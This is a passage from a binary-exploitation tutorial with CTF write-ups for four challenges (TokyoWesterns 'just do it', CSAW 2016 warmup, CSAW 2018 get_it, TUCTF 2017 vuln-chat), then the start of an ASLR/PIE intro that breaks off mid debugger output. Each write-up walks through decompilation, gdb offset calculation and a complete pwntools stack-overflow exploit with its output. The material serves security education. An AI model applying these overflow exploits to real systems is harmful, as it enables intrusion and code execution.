             undefined1        Stack[0x4]:1   param_1
XREF[1]:     080485bb(*)
             FILE *            EAX:4          flagFile
XREF[2]:     0804861d(W),

08048655(W)
             char              AL:1           local_EAX_154
XREF[2]:     08048655(W),

080486dd(W)
             int               EAX:4          cmp
XREF[1]:     080486dd(W)
             undefined4        Stack[0x0]:4   local_res0
XREF[1]:     080485c2(R)
             undefined4        Stack[-0xc]:4  local_c
XREF[1]:     08048704(R)
             char *            Stack[-0x14]:4 target
XREF[2]:     0804860d(W),

080486ee(W)
             FILE *            Stack[-0x18]:4 flagHandle
XREF[3]:     08048625(W),

08048628(R),

0804864b(R)
             char[16]          Stack[-0x28]   vulnBuf
XREF[2]:     080486a6(*),

080486d9(*)
                              main
XREF[4]:     Entry Point(*),

_start:080484d7(*), 0804886c,

080488c8(*)
        080485bb 8d 4c 24 04     LEA        ECX=>param_1,[ESP + 0x4]
```

So we can see that it can hold 16 bytes worth of data (0x28 - 0x18 = 16). So we effectively have a buffer overflow vulnerability with the fgets call to `input`. However it appears that we can't reach the `eip` register to get RCE. However we can reach `output_message` which is printed with a puts call, right before the function returns. So we can print whatever we want.

That makes this code look really helpful:

```
stream = fopen("flag.txt", "r");
if ( !stream )
{
  perror("file open error.\n");
  exit(0);
}
if ( !fgets(flag, 48, stream) )
{
  perror("file read error.\n");
  exit(0);
}
```

So we can see here that after it opens the `flag.txt` file, it scans in 48 bytes worth of data into `flag`. This is interesting because if we can find the address of `flag`, then we should be able to overwrite the value of `output_message` with that address and then it should print out the contents of `flag`, which should be the flag.

```
  .bss:0804A080 ; char flag[48]
.bss:0804A080 flag            db 30h dup(?)           ; DATA XREF: main+95o
.bss:0804A080 _bss            ends
.bss:0804A080
```

So here we can see that `flag` lives in the bss, with the address `0x0804a080`. There are 20 bytes worth of data between `input` and `output_message` (0x28 - 0x14 = 20). So we can form a payload with 20 null bytes, followed by the address of `flag`:

```
  python -c 'print "\x00"*20 + "\x80\xa0\x04\x08"' | ./just_do_it-
56d11d5466611ad671ad47fba3d8bc5a5140046a2a28162eab9c82f98e352afa
Welcome my secret service. Do you know the password?
Input the password.
flag{gottem_boyz}
```

So we were able to read the contents of `flag.txt` with our exploit. Let's write an exploit to use the same exploit against the server they have with the challenge running to get the flag. Here is the python code:

```
#Import pwntools
from pwn import *

#Create the remote connection to the challenge
target = remote('pwn1.chal.ctf.westerns.tokyo', 12482)

#Print out the starting prompt
print target.recvuntil("password.\n")

#Create the payload
payload = "\x00"*20 + p32(0x0804a080)

#Send the payload
target.sendline(payload)

#Drop to an interactive shell, so we can read everything the server prints out
target.interactive()
```

Now let's run it:

```
$    python exploit.py
[+] Opening connection to pwn1.chal.ctf.westerns.tokyo on port 12482: Done
Welcome my secret service. Do you know the password?
Input the password.

[*] Switching to interactive mode
TWCTF{pwnable_warmup_I_did_it!}

[*] Got EOF while reading in interactive
$
[*] Interrupted
[*] Closed connection to pwn1.chal.ctf.westerns.tokyo port 12482
```

Just like that, we captured the flag!

Csaw 2016 Quals Warmup

Let's take a look at the binary:

```
$    file warmup
warmup: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked,
interpreter /lib64/l, for GNU/Linux 2.6.24,
BuildID[sha1]=ab209f3b8a3c2902e1a2ecd5bb06e258b45605a4, not stripped
$    ./warmup
-Warm Up-
WOW:0x40060d
>15935728
```

So we can see that we are dealing with a 64 bit binary. When we run it, it displays an address (looks like an address from the code section of the binary, versus another section like the libc) and prompts us for input. When we look at the main function in Ghidra, we see this:

```
void main(void)

{
  char easyFunctionAddress [64];
  char input [64];

  write(1,"-Warm Up-\n",10);
  write(1,&DAT_0040074c,4);
  sprintf(easyFunctionAddress,"%p\n",easy);
  write(1,easyFunctionAddress,9);
  write(1,&DAT_00400755,1);
  gets(input);
  return;
}
```

So we can see that the address being printed is the address of the function `easy` (which when we look at it's address in Ghidra we see it's `0x40060d`). After that we can see it calls the function `gets`, which is a bug since it doesn't limit how much data it scans in (and since `input` can only hold `64` bytes of data, after we write `64` bytes we overflow the buffer and start overwriting other things in memory). With that bug we can totally reach the return address (the address on the stack that is executed after the `ret` call to return execution back to whatever code called it). For what to call, we see that the `easy` function will print the flag for us (in order to print the flag, we will need to have a `flag.txt` file in the same directory as the executable):

```
void easy(void)

{
  system("cat flag.txt");
  return;
}
```

So let's use gdb to figure out how much data we need to send before overwriting the return address, so we can land the bug. I will just set a breakpoint for after the `gets` call:

```
gef➤  disas main
Dump of assembler code for function main:
   0x000000000040061d <+0>:    push   rbp
   0x000000000040061e <+1>:    mov    rbp,rsp
   0x0000000000400621 <+4>:    add    rsp,0xffffffffffffff80
   0x0000000000400625 <+8>:    mov    edx,0xa
   0x000000000040062a <+13>:    mov    esi,0x400741
   0x000000000040062f <+18>:    mov    edi,0x1
   0x0000000000400634 <+23>:    call   0x4004c0 <write@plt>
   0x0000000000400639 <+28>:    mov    edx,0x4
   0x000000000040063e <+33>:    mov    esi,0x40074c
   0x0000000000400643 <+38>:    mov    edi,0x1
   0x0000000000400648 <+43>:    call   0x4004c0 <write@plt>
   0x000000000040064d <+48>:    lea    rax,[rbp-0x80]
   0x0000000000400651 <+52>:    mov    edx,0x40060d
   0x0000000000400656 <+57>:    mov    esi,0x400751
   0x000000000040065b <+62>:    mov    rdi,rax
   0x000000000040065e <+65>:    mov    eax,0x0
   0x0000000000400663 <+70>:    call   0x400510 <sprintf@plt>
   0x0000000000400668 <+75>:    lea    rax,[rbp-0x80]
   0x000000000040066c <+79>:    mov    edx,0x9
   0x0000000000400671 <+84>:    mov    rsi,rax
   0x0000000000400674 <+87>:    mov    edi,0x1
   0x0000000000400679 <+92>:    call   0x4004c0 <write@plt>
   0x000000000040067e <+97>:    mov    edx,0x1
   0x0000000000400683 <+102>:    mov    esi,0x400755
   0x0000000000400688 <+107>:    mov    edi,0x1
   0x000000000040068d <+112>:    call   0x4004c0 <write@plt>
   0x0000000000400692 <+117>:    lea    rax,[rbp-0x40]
   0x0000000000400696 <+121>:    mov    rdi,rax
   0x0000000000400699 <+124>:    mov    eax,0x0
   0x000000000040069e <+129>:    call   0x400500 <gets@plt>
   0x00000000004006a3 <+134>:    leave
   0x00000000004006a4 <+135>:    ret
End of assembler dump.
gef➤  b *main+134
Breakpoint 1 at 0x4006a3
gef➤  r
Starting program: /Hackery/pod/modules/bof_callfunction/csaw16_warmup/warmup
-Warm Up-
WOW:0x40060d
>15935728
[ Legend: Modified register | Code | Heap | Stack | String ]
──────────────────────────────────────────────────────────── registers ────
$rax   : 0x00007fffffffde50  →  "15935728"
$rbx   : 0x0
$rcx   : 0x00007ffff7dcfa00  →  0x00000000fbad2288
$rdx   : 0x00007ffff7dd18d0  →  0x0000000000000000
$rsp   : 0x00007fffffffde10  →  "0x40060d"
$rbp   : 0x00007fffffffde90  →  0x00000000004006b0  →  <__libc_csu_init+0> push
r15
$rsi   : 0x35333935
```

```
$rdi   : 0x00007fffffffde51  →  0x0038323735333935 ("5935728"?)
$rip   : 0x00000000004006a3  →  <main+134> leave
$r8    : 0x0000000000602269  →  0x0000000000000000
$r9    : 0x00007ffff7fda4c0  →  0x00007ffff7fda4c0  →  [loop detected]
$r10   : 0x0000000000602010  →  0x0000000000000000
$r11   : 0x246
$r12   : 0x0000000000400520  →  <_start+0> xor ebp, ebp
$r13   : 0x00007fffffffdf70  →  0x0000000000000001
$r14   : 0x0
$r15   : 0x0
$eflags: [ZERO carry PARITY adjust sign trap INTERRUPT direction overflow resume
virtualx86 identification]
$cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000
──────────────────────────────────────────────────────────────────── stack ────
0x00007fffffffde10│+0x0000: "0x40060d"     ← $rsp
0x00007fffffffde18│+0x0008: 0x000000000000000a
0x00007fffffffde20│+0x0010: 0x0000000000000000
0x00007fffffffde28│+0x0018: 0x0000000000000000
0x00007fffffffde30│+0x0020: 0x0000000000000000
0x00007fffffffde38│+0x0028: 0x0000000000000000
0x00007fffffffde40│+0x0030: 0x0000000000000000
0x00007fffffffde48│+0x0038: 0x0000000000000000
────────────────────────────────────────────────────────────── code:x86:64 ────
     0x400694 <main+119>       rex.RB ror BYTE PTR [r8-0x77], 0xc7
     0x400699 <main+124>       mov    eax, 0x0
     0x40069e <main+129>       call   0x400500 <gets@plt>
 →   0x4006a3 <main+134>       leave
     0x4006a4 <main+135>       ret
     0x4006a5                  nop    WORD PTR cs:[rax+rax*1+0x0]
     0x4006af                  nop
     0x4006b0 <__libc_csu_init+0> push   r15
     0x4006b2 <__libc_csu_init+2> mov    r15d, edi
────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "warmup", stopped, reason: BREAKPOINT
──────────────────────────────────────────────────────────────────── trace ────
[#0] 0x4006a3 → main()
───────────────────────────────────────────────────────────────────────────────

Breakpoint 1, 0x00000000004006a3 in main ()
gef➤  search-pattern 15935728
[+] Searching '15935728' in memory
[+] In '[heap]'(0x602000-0x623000), permission=rw-
  0x602260 - 0x602268  →   "15935728"
[+] In '[stack]'(0x7ffffffde000-0x7ffffffff000), permission=rw-
  0x7fffffffde50 - 0x7fffffffde58  →   "15935728"
gef➤  i f
Stack level 0, frame at 0x7fffffffdea0:
 rip = 0x4006a3 in main; saved rip = 0x7ffff7a05b97
 Arglist at 0x7fffffffde90, args:
 Locals at 0x7fffffffde90, Previous frame's sp is 0x7fffffffdea0
 Saved registers:
  rbp at 0x7fffffffde90, rip at 0x7fffffffde98
```

With a bit of math, we see the offset:

```
>>> hex(0x7fffffffde98 - 0x7fffffffde50)
'0x48'
```

So we can see that after `0x48` bytes of input, we start overwriting the return address. With all of this, we can write the exploit;

```
from pwn import *

target = process('./warmup')
#gdb.attach(target, gdbscript = 'b *0x4006a3')

# Make the payload
payload = ""
payload += "0"*0x48 # Overflow the buffer up to the return address
payload += p64(0x40060d) # Overwrite the return address with the address of the
`easy` function

# Send the payload
target.sendline(payload)

target.interactive()
```

When we run it:

```
$    python exploit.py
[+] Starting local process './warmup': pid 4652
[*] Switching to interactive mode
-Warm Up-
WOW:0x40060d
>flag{g0ttem_b0yz}
[*] Got EOF while reading in interactive
```

Just like that, we got the flag! As a sidenote, I've heard of instances where in certain enviornments the offset is `0x40` instead of `0x48`.

Csaw Quals 2018 Get It

Let's take a look at the binary:

```
$    file get_it
get_it: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked,
interpreter /lib64/l, for GNU/Linux 2.6.32,
BuildID[sha1]=87529a0af36e617a1cc6b9f53001fdb88a9262a2, not stripped
$    pwn checksec get_it
[*] '/Hackery/pod/modules/bof_callfunction/csaw18_getit/get_it'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
$    ./get_it
Do you gets it??
15935728
```

So we can see that we are given a `64` bit binary, with a Non-Executable stack (that mitigation will be covered later). When we run it, we see that it prompts us for input. When we take a look at the main function in Ghidra, we see this:

```
undefined8 main(void)

{
  char input [32];

  puts("Do you gets it??");
  gets(input);
  return 0;
}
```

So we can see that it makes a call to the `gets` function with the char buffer `input` as an argument. This is a bug. The thing about the `gets` function, is that there is no size restriction on the amount of data it will scan in. It will just scan in data until it gets either a newline character or EOF (or something causes it to crash). Because if this we can write more data to `input` than it can hold (which it can hold `32` bytes worth of data) and we will overflow it. The data that we overflow will start overwriting subsequent things in memory. Looking at this function we don't see any other variables that we can overwrite. However we can definitely overwrite the saved return address.

When a function is called, two values that are saved are the base pointer (points to the base of the stack) and instruction pointer (pointing to the instruction following the call). This way when the function is done executing and returns, code execution can pick up where it left off and the code knows where the stack is. These values make up the saved base pointer and saved return address, and in x64 the saved base pointer is stored at `rbp+0x0` and the saved instruction pointer is stored at `rbp+0x8`.

So when the `ret` instruction, the saved instruction pointer (stored at `rbp+0x8`) is executed.

This address is on the stack, and we can reach it with the `gets` function call. So we will just overwrite it with a value we want, and we will decide what code the program executes. The offset between the start of our input and the return address is `40` bytes. The first `32` bytes come from the `input` char buffer we have to fill up. After that we can see there are no variables between `input` and the saved base pointer (if there was a stack canary that would be a different story, but I'll save that for later). After that we have `8` bytes for the saved base pointer, then we reach the saved instruction pointer. We can also see this in memory with gdb:

```
gef➤  disas main
Dump of assembler code for function main:
   0x00000000004005c7 <+0>:    push   rbp
   0x00000000004005c8 <+1>:    mov    rbp,rsp
   0x00000000004005cb <+4>:    sub    rsp,0x30
   0x00000000004005cf <+8>:    mov    DWORD PTR [rbp-0x24],edi
   0x00000000004005d2 <+11>:    mov    QWORD PTR [rbp-0x30],rsi
   0x00000000004005d6 <+15>:    mov    edi,0x40068e
   0x00000000004005db <+20>:    call   0x400470 <puts@plt>
   0x00000000004005e0 <+25>:    lea    rax,[rbp-0x20]
   0x00000000004005e4 <+29>:    mov    rdi,rax
   0x00000000004005e7 <+32>:    mov    eax,0x0
   0x00000000004005ec <+37>:    call   0x4004a0 <gets@plt>
   0x00000000004005f1 <+42>:    mov    eax,0x0
   0x00000000004005f6 <+47>:    leave
   0x00000000004005f7 <+48>:    ret
End of assembler dump.
gef➤  b *0x4005f1
Breakpoint 1 at 0x4005f1
gef➤  r
Starting program: /Hackery/pod/modules/bof_callfunction/csaw18_getit/get_it
Do you gets it??
15935728
```

We set a breakpoint for right after the `gets` call:

```
Breakpoint 1, 0x00000000004005f1 in main ()
gef➤  i f
Stack level 0, frame at 0x7fffffffdea0:
 rip = 0x4005f1 in main; saved rip = 0x7ffff7a05b97
 Arglist at 0x7fffffffde90, args:
 Locals at 0x7fffffffde90, Previous frame's sp is 0x7fffffffdea0
 Saved registers:
  rbp at 0x7fffffffde90, rip at 0x7fffffffde98
gef➤  x/g $rbp+0x8
0x7fffffffde98:    0x00007ffff7a05b97
gef➤  search-pattern 15935728
[+] Searching '15935728' in memory
[+] In '[heap]'(0x602000-0x623000), permission=rw-
  0x602670 - 0x602678  →   "15935728"
[+] In '[stack]'(0x7ffffffde000-0x7ffffffff000), permission=rw-
  0x7fffffffde70 - 0x7fffffffde78  →   "15935728"
```

So we can see that the return address i stored at `0x7fffffffde98`. Our input begins at `0x7fffffffde70`. This gives us a `0x7fffffffde98 - 0x7fffffffde70 = 0x28` byte offset (`0x28 = 40`). So we just have to write `40` bytes worth of input and we can write over the return address. That address will be executed when the `ret` instruction is executed, giving us code execution. The question is now what do we want to execute? Looking through the list of functions in Ghidra, we see that there is a `give_shell` function:

```
void give_shell(void)

{
  system("/bin/bash");
  return;
}
```

This function looks like it just gives us a shell by calling `system("/bin/bash")`. In the assembly viewer we can see that it starts at `0x4005b6`. So we can just call the `give_shell` function by writing over the return address with `0x4005b6` and that should give us a shell. Putting it all together, we get the following exploit:

```
from pwn import *

target = process("./get_it")
#gdb.attach(target, gdbscript = 'b *0x4005f1')

payload = ""
payload += "0"*40 # Padding to the return address
payload += p64(0x4005b6) # Address of give_shell in least endian, will be new
saved return address

# Send the payload
target.sendline(payload)

# Drop to an interactive shell to use the new shell
target.interactive()
```

When we run it:

```
$    python exploit.py
[+] Starting local process './get_it': pid 2969
[*] running in new terminal: /usr/bin/gdb -q  "./get_it" 2969 -x
"/tmp/pwndObRhj.gdb"
[+] Waiting for debugger: Done
[*] Switching to interactive mode
Do you gets it??
$ w
 23:38:26 up 1 min,  1 user,  load average: 1.77, 0.67, 0.25
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
guyinatu tty7     :0               23:37    1:20   2.71s  0.14s /sbin/upstart
--user
$ ls
exploit.py  get_it
```

Just like that we got a shell!

tuctf 2017 vulnchat

Let's take a look at the binary:

```
$    file vuln-chat
vuln-chat: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically
linked, interpreter /lib/ld-, for GNU/Linux 2.6.32,
BuildID[sha1]=a3caa1805eeeee1454ee76287be398b12b5fa2b7, not stripped
$    ./vuln-chat
----------- Welcome to vuln-chat -------------
Enter your username: 15935728
Welcome 15935728!
Connecting to 'djinn'
--- 'djinn' has joined your chat ---
djinn: I have the information. But how do I know I can trust you?
15935728: you don't
djinn: Sorry. That's not good enough
```

So we can see that we are dealing with a 32 bit elf binary. When we run it, it prompts us for two seperate inputs. The first is a username, and the second is a string that is supposed to make it trust us. Taking a look at the main function in Ghidra we see this:

```
undefined4 main(void)

{
  undefined password [20];
  undefined name [20];
  undefined4 fmt;
  undefined local_5;

  setvbuf(stdout,(char *)0x0,2,0x14);
  puts("----------- Welcome to vuln-chat -------------");
  printf("Enter your username: ");
  fmt = 0x73303325;
  local_5 = 0;
  __isoc99_scanf(&fmt,name);
  printf("Welcome %s!\n",name);
  puts("Connecting to \'djinn\'");
  sleep(1);
  puts("--- \'djinn\' has joined your chat ---");
  puts("djinn: I have the information. But how do I know I can trust you?");
  printf("%s: ",name);
  __isoc99_scanf(&fmt,password);
  puts("djinn: Sorry. That\'s not good enough");
  fflush(stdout);
  return 0;
}
```

So we can see, the program essentially calls `scanf` twice. The input is first scanned into `name`, then into `password`. The format specifier is stored on the stack in the `fmt` variable. We can see in the assembly code that it is initialized to `%30s` (we have to convert the data to a char sequence):

```
        080485be c7 45 fb        MOV        dword ptr [EBP + fmt],"%30s"
                 25 33 30 73
```

So both times by default it will let us scan in 30 characters, which will let us scan in 30 bytes worth of data. Next we take a look at the stack layout in Ghidra:

```
 **************************************************************
                             *                           FUNCTION
 *

 **************************************************************
                             undefined main()
             undefined         AL:1           <RETURN>
             undefined1        Stack[-0x5]:1  local_5
 XREF[1]:     080485c5(W)
             undefined4        Stack[-0x9]:4  fmt
 XREF[3]:     080485be(W),

 080485cd(*),

 08048630(*)
             undefined[20]     Stack[-0x1d]   name
 XREF[3]:     080485c9(*),

 080485d9(*),

 0804861b(*)
             undefined[20]     Stack[-0x31]   password
 XREF[1]:     0804862c(*)
                             main
 XREF[4]:     Entry Point(*),

 _start:08048487(*), 08048830,

 080488ac(*)
        0804858a 55              PUSH       EBP
```

So we can see that `password` is stored at offset `-0x31`, `name` is stored at offset `-0x1d`, and `fmt` is stored at `-0x9`. The `password` char array can hold `0x31 - 0x1d = 0x14` bytes. The `name` char array can hold `0x1d - 0x9 = 0x14` bytes worth of data too. Since we can scan in `30` bytes worth of data, this gives us a 10 byte overflow in both cases. With our given setup we won't be able to get code execution with either overflow alone. However with the first overflow (the one to `name`) we will be able to overwrite the value of `fmt`. This will allow us to specify how much data the second `scanf` call will scan. With that we will be able to scan in more than enough data to overwrite the saved return address, and get code execution when the `ret` instruction executes.

For what function to call, the `printFlag` function at `0x804856b` seems to be a good candidate. It just prints the context of the flag using `cat` (also to get the flag, we need to have a copy of `flag.txt` in the same directory as the binary):

```
void printFlag(void)

{
  system("/bin/cat ./flag.txt");
  puts("Use it wisely");
  return;
}
```

So let's take a look at how the memory is corrupted during the exploit. First I set a breakpoint for right after the second scanf call:

```
gef➤  b *0x8048639
Breakpoint 1 at 0x8048639
gef➤  r
Starting program: /Hackery/pod/modules/bof_callfunction/tu17_vulnchat/vuln-chat
----------- Welcome to vuln-chat -------------
Enter your username: 15935728
Welcome 15935728!
Connecting to 'djinn'
--- 'djinn' has joined your chat ---
djinn: I have the information. But how do I know I can trust you?
15935728: 75395128
[ Legend: Modified register | Code | Heap | Stack | String ]
──────────────────────────────────────────────────────────────── registers ────
$eax   : 0x1
$ebx   : 0x0
$ecx   : 0x1
$edx   : 0xf7fb089c  →  0x00000000
$esp   : 0xffffd030  →  0xffffd063  →  "%30s"
$ebp   : 0xffffd068  →  0x00000000
$esi   : 0xf7faf000  →  0x001d7d6c ("l}"?)
$edi   : 0x0
$eip   : 0x08048639  →  <main+175> add esp, 0x8
$eflags: [ZERO carry PARITY adjust sign trap INTERRUPT direction overflow resume
virtualx86 identification]
$cs: 0x0023 $ss: 0x002b $ds: 0x002b $es: 0x002b $fs: 0x0000 $gs: 0x0063
──────────────────────────────────────────────────────────────────── stack ────
0xffffd030│+0x0000: 0xffffd063  →  "%30s"     ← $esp
0xffffd034│+0x0004: 0xffffd03b  →  "75395128"
0xffffd038│+0x0008: 0x37049a10
0xffffd03c│+0x000c: "5395128"
0xffffd040│+0x0010: 0x00383231 ("128"?)
0xffffd044│+0x0014: 0xffffd104  →  0xffffd2b4  →  "/Hackery/pod/modules
/bof_callfunction/tu17_vulncha[...]"
0xffffd048│+0x0018: 0xffffd10c  →  0xffffd2f2  →  "CLUTTER_IM_MODULE=xim"
0xffffd04c│+0x001c: 0x31e076a5
────────────────────────────────────────────────────────────── code:x86:32 ────
    0x8048630 <main+166>       lea    eax, [ebp-0x5]
    0x8048633 <main+169>       push   eax
    0x8048634 <main+170>       call   0x8048460 <__isoc99_scanf@plt>
 →  0x8048639 <main+175>       add    esp, 0x8
    0x804863c <main+178>       push   0x80487ec
    0x8048641 <main+183>       call   0x8048410 <puts@plt>
    0x8048646 <main+188>       add    esp, 0x4
    0x8048649 <main+191>       mov    eax, ds:0x8049a60
    0x804864e <main+196>       push   eax
────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "vuln-chat", stopped, reason: BREAKPOINT
──────────────────────────────────────────────────────────────────── trace ────
[#0] 0x8048639 → main()
───────────────────────────────────────────────────────────────────────────────

Breakpoint 1, 0x08048639 in main ()
```

```
gef➤  search-pattern 75395128
[+] Searching '75395128' in memory
[+] In '[heap]'(0x804a000-0x806c000), permission=rw-
  0x804a160 - 0x804a168  →   "75395128"
[+] In '[stack]'(0xfffdd000-0xffffe000), permission=rw-
  0xffffd03b - 0xffffd043  →   "75395128"
gef➤  search-pattern %30s
[+] Searching '%30s' in memory
[+] In '/Hackery/pod/modules/bof_callfunction/tu17_vulnchat/vuln-
chat'(0x8048000-0x8049000), permission=r-x
  0x80485c1 - 0x80485c5  →   "%30s[...]"
[+] In '/Hackery/pod/modules/bof_callfunction/tu17_vulnchat/vuln-
chat'(0x8049000-0x804a000), permission=rw-
  0x80495c1 - 0x80495c5  →   "%30s[...]"
[+] In '[stack]'(0xfffdd000-0xffffe000), permission=rw-
  0xffffd063 - 0xffffd067  →   "%30s"
gef➤  x/14x 0xffffd03b
0xffffd03b:    0x39333537    0x38323135    0xffd10400    0xffd10cff
0xffffd04b:    0xe076a5ff    0x33393531    0x38323735    0x04866b00
0xffffd05b:    0x00000008    0xfaf00000    0x73303325    0x00000000
0xffffd06b:    0xdefe8100    0x000001f7
gef➤  i f
Stack level 0, frame at 0xffffd070:
 eip = 0x8048639 in main; saved eip = 0xf7defe81
 Arglist at 0xffffd068, args:
 Locals at 0xffffd068, Previous frame's sp is 0xffffd070
 Saved registers:
  ebp at 0xffffd068, eip at 0xffffd06c
```

So we can see that the format string is stored at `0xffffd063`, which is `20` bytes away from our name at `0xffffd04f`. Our second input begins at `0xffffd03b` which is `0x31` bytes away from the return address at `0xffffd06c`. Also one thing, the memory layout here probably looks a bit weird. The reason for this is `x86` is designed around `4` byte values (although it can handle a lot of different sizes for value types), so most addresses (with the except of variable length ones) are aligned to either `0x0`, `0x4`, `0x8`, or `0xc`. However our char array (which can be a wide array of values) starts at `0xffffd03b`, so it messes up the alignment when we view the memory using it as a reference.

Putting it all together, we get the following exploit:

```
from pwn import *

# Establish the target process
target = process('./vuln-chat')

# Print the initial text
print target.recvuntil("username: ")

# Form the first payload to overwrite the scanf format string
payload0 = ""
payload0 += "0"*0x14 # Fill up space to format string
payload0 += "%99s" # Overwrite it with "%99s"

# Send the payload with a newline character
target.sendline(payload0)

# Print the text up to the second scanf call
print target.recvuntil("I know I can trust you?")

# From the second payload to overwrite the return address
payload1 = ""
payload1 += "1"*0x31 # Filler space to return address
payload1 += p32(0x804856b) # Address of the print_flag function

# Send the second payload with a newline character
target.sendline(payload1)

# Drop to an interactive shell to view the rest of the input
target.interactive()
```

When we run it:

```
$    python exploit.py
[+] Starting local process './vuln-chat': pid 9724
----------- Welcome to vuln-chat -------------
Enter your username:
Welcome 00000000000000000000%99s!
Connecting to 'djinn'
--- 'djinn' has joined your chat ---
djinn: I have the information. But how do I know I can trust you?
[*] Switching to interactive mode

00000000000000000000%99s: djinn: Sorry. That's not good enough
flag{g0ttem_b0yz}
Use it wisely
[*] Got EOF while reading in interactive
$
```

Just like that we got a shell!

aslr/pie intro

With exploiting binaries, there are various mitigations that you will face that will make it harder to exploit. Defeating them is usually just one step for actually gainning control over a program (assuming that the mitigation stands in your way). Since it is just something that stands in your way, and since for the modules I like to cover a new type of bug / exploitation technique, I didn't make a module dedicated to each of the mitigations you will see. However you still do see them (or some combination of the,) nearly everywhere through this project. So the purpose of these is to give you a brief explanation as to what they are.

So what is address space randomization (aslr)? Processes have memory. All of the memory addresses to each byte. Aslr randomization that in certain memory region such as the stack and the heap. This keeps us from knowing what the memory addresses are for certain regions of memory.

For instance, let's take a look at the address of this one stack variable, one iteration of running this binary:

```
Breakpoint 1, 0x0000000000401161 in main ()
[ Legend: Modified register | Code | Heap | Stack | String ]
──────────────────────────────────────────────────────────────────── registers ────
$rax   : 0x00007fffabfee6fe  →  0x7fffabfee7f0000a
$rbx   : 0x0
$rcx   : 0xfbad2088
$rdx   : 0x00007fffabfee6fe  →  0x7fffabfee7f0000a
$rsp   : 0x00007fffabfee6f0  →  0x0000000000401180  →  <__libc_csu_init+0> push
r15
$rbp   : 0x00007fffabfee710  →  0x0000000000401180  →  <__libc_csu_init+0> push
r15
$rsi   : 0x00007f4512ce4590  →  0x0000000000000000
$rdi   : 0x0
$rip   : 0x0000000000401161  →  <main+47> mov DWORD PTR [rbp-0x18], 0x5
$r8    : 0x0000000001100010  →  0x0000000000000000
$r9    : 0x63
$r10   : 0x00007f4512ce1ca0  →  0x0000000001101260  →  0x0000000000000000
$r11   : 0x246
$r12   : 0x0000000000401050  →  <_start+0> xor ebp, ebp
$r13   : 0x00007fffabfee7f0  →  0x0000000000000001
$r14   : 0x0
$r15   : 0x0
$eflags: [ZERO carry PARITY adjust sign trap INTERRUPT direction overflow resume
virtualx86 identification]
$cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000
──────────────────────────────────────────────────────────────────────── stack ────
0x00007fffabfee6f0│+0x0000: 0x0000000000401180  →  <__libc_csu_init+0> push r15
← $rsp
0x00007fffabfee6f8│+0x0008: 0x000a000000401050
0x00007fffabfee700│+0x0010: 0x00007fffabfee7f0  →  0x0000000000000001
0x00007fffabfee708│+0x0018: 0x29e19ee33cdef200
0x00007fffabfee710│+0x0020: 0x0000000000401180  →  <__libc_csu_init+0> push r15
← $rbp
0x00007fffabfee718│+0x0028: 0x00007f4512b23b6b  →  <__libc_start_main+235> mov
edi, eax
0x00007fffabfee720│+0x0030: 0x0000000000000000
0x00007fffabfee728│+0x0038: 0x00007fffabfee7f8  →  0x00007fffabfef410  →
0x4e47007972742f2e ("./try"?)
─────────────────────────────────────────────────────────────────── code:x86:64 ────
     0x401154 <main+34>        mov    esi, 0x9
     0x401159 <main+39>        mov    rdi, rax
     0x40115c <main+42>        call   0x401040 <fgets@plt>
 →   0x401161 <main+47>        mov    DWORD PTR [rbp-0x18], 0x5
     0x401168 <main+54>        nop
     0x401169 <main+55>        mov    rax, QWORD PTR [rbp-0x8]
     0x40116d <main+59>        xor    rax, QWORD PTR fs:0x28
     0x401176 <main+68>        je     0x40117d <main+75>
     0x401178 <main+70>        call   0x401030 <__stack_chk_fail@plt>
────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "try", stopped, reason: BREAKPOINT
──────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x401161 → main()
```

```
gef➤  x/g $rbp-0x18
0x7fffabfee6f8:    0xa000000401050
```

We can see that for this iteration, the variable at `rbp-0x18` has the address `0x7fffabfee6f8`. Let's see what the address is on another iteration of running the binary:

```
Breakpoint 1, 0x0000000000401161 in main ()
[ Legend: Modified register | Code | Heap | Stack | String ]
──────────────────────────────────────────────────────────────── registers ────
$rax   : 0x00007ffcdc7caf6e  →  0x7ffcdc7cb060000a
$rbx   : 0x0
$rcx   : 0xfbad2088
$rdx   : 0x00007ffcdc7caf6e  →  0x7ffcdc7cb060000a
$rsp   : 0x00007ffcdc7caf60  →  0x0000000000401180  →  <__libc_csu_init+0> push
r15
$rbp   : 0x00007ffcdc7caf80  →  0x0000000000401180  →  <__libc_csu_init+0> push
r15
$rsi   : 0x00007ff338fda590  →  0x0000000000000000
$rdi   : 0x0
$rip   : 0x0000000000401161  →  <main+47> mov DWORD PTR [rbp-0x18], 0x5
$r8    : 0x00000000023b9010  →  0x0000000000000000
$r9    : 0x63
$r10   : 0x00007ff338fd7ca0  →  0x00000000023ba260  →  0x0000000000000000
$r11   : 0x246
$r12   : 0x0000000000401050  →  <_start+0> xor ebp, ebp
$r13   : 0x00007ffcdc7cb060  →  0x0000000000000001
$r14   : 0x0
$r15   : 0x0
$eflags: [ZERO carry PARITY adjust sign trap INTERRUPT direction overflow resume
virtualx86 identification]
$cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000
──────────────────────────────────────────────────────────────────── stack ────
0x00007ffcdc7caf60│+0x0000: 0x0000000000401180  →  <__libc_csu_init+0> push r15
← $rsp
0x00007ffcdc7caf68│+0x0008: 0x000a000000401050
0x00007ffcdc7caf70│+0x0010: 0x00007ffcdc7cb060  →  0x0000000000000001
0x00007ffcdc7caf78│+0x0018: 0x7065c5c264020400
0x00007ffcdc7caf80│+0x0020: 0x0000000000401180  →  <__libc_csu_init+0> push r15
← $rbp
0x00007ffcdc7caf88│+0x0028: 0x00007ff338e19b6b  →  <__libc_start_main+235> mov
edi, eax
0x00007ffcdc7caf90│+0x0030: 0x0000000000000000
0x00007ffcdc7caf98│+0x0038: 0x00007ffcdc7cb068  →  0x00007ffcdc7cb410  →
